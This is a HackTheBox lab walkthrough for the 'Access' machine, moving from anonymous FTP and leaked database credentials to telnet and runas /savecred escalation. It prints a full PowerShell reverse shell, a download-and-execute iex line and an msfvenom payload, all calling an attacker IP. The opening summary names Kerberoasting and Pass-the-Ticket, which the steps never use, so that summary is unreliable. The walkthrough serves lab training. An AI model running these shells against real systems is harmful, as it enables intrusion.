Access writeup & walkthrough

Access is an easy HackTheBox Windows AD machine. Exploitation involves FTP enumeration, Kerberoasting, and Pass-the-Ticket attacks to gain Domain Admin.

HTB: Access

Access Path

no access => security => Administrator

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level.

Walkthrough: Video

Initial FTP Enumeration

Anonymous FTP is open. We log in, switch to binary mode so files download intact, and pull everything. One of them is a Microsoft Access database backup whose auth_user table leaks three sets of credentials.

ftp anonymous@$IP
# Error on download → switch to binary mode
bin
get *

# Found backup.mdb (Access DB)
mdb-export backup.mdb auth_user

# Extracted credentials
id,username,password,Status,last_login,RoleID,Remark
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,

Cracking Archive & Email Dump

A password-protected ZIP is unlocked with the engineer password recovered from the database. Inside is an Outlook .pst mailbox; reading it reveals the telnet password.

# .zip archive requires password
7z x backup.zip
# Password from DB: access4u@security

# Extracted .pst file
readpst file.pst
# Found telnet password: 4Cc3ssC0ntr0ller

Telnet Access

We log in over telnet as the security user and fire a PowerShell reverse shell to land an interactive foothold.

telnet $IP 23
login: security
password: 4Cc3ssC0ntr0ller

# Reverse shell payload
powershell -nop -w hidden -c "$client = New-Object Net.Sockets.TCPClient('10.10.14.43',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([Text.Encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();}"

Privilege Escalation

The Administrator's credentials are cached on the box (cmdkey /list shows them), so runas /savecred lets us run commands as Administrator without knowing the password. Three equivalent methods are shown: read the flag directly, pull a remote PowerShell payload, or execute an msfvenom-generated shell.

# Method 1: cmdkey + runas
cmdkey /list
C:\Windows\System32\runas.exe /savecred /user:ACCESS\Administrator "C:\Windows\System32\cmd.exe /c TYPE C:\Users\Administrator\Desktop\root.txt > C:\Users\security\root.txt"

# Method 2: runas + remote PS script
runas /user:ACCESS\Administrator /savecred "powershell iex(new-object net.webclient).downloadstring('http://10.10.14.43/shell.ps1')"

# Method 3: msfvenom payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.43 LPORT=4444 -a x64 -f exe > shell.exe
# Upload shell.exe, then execute with runas
runas /savecred /user:ACCESS\Administrator shell.exe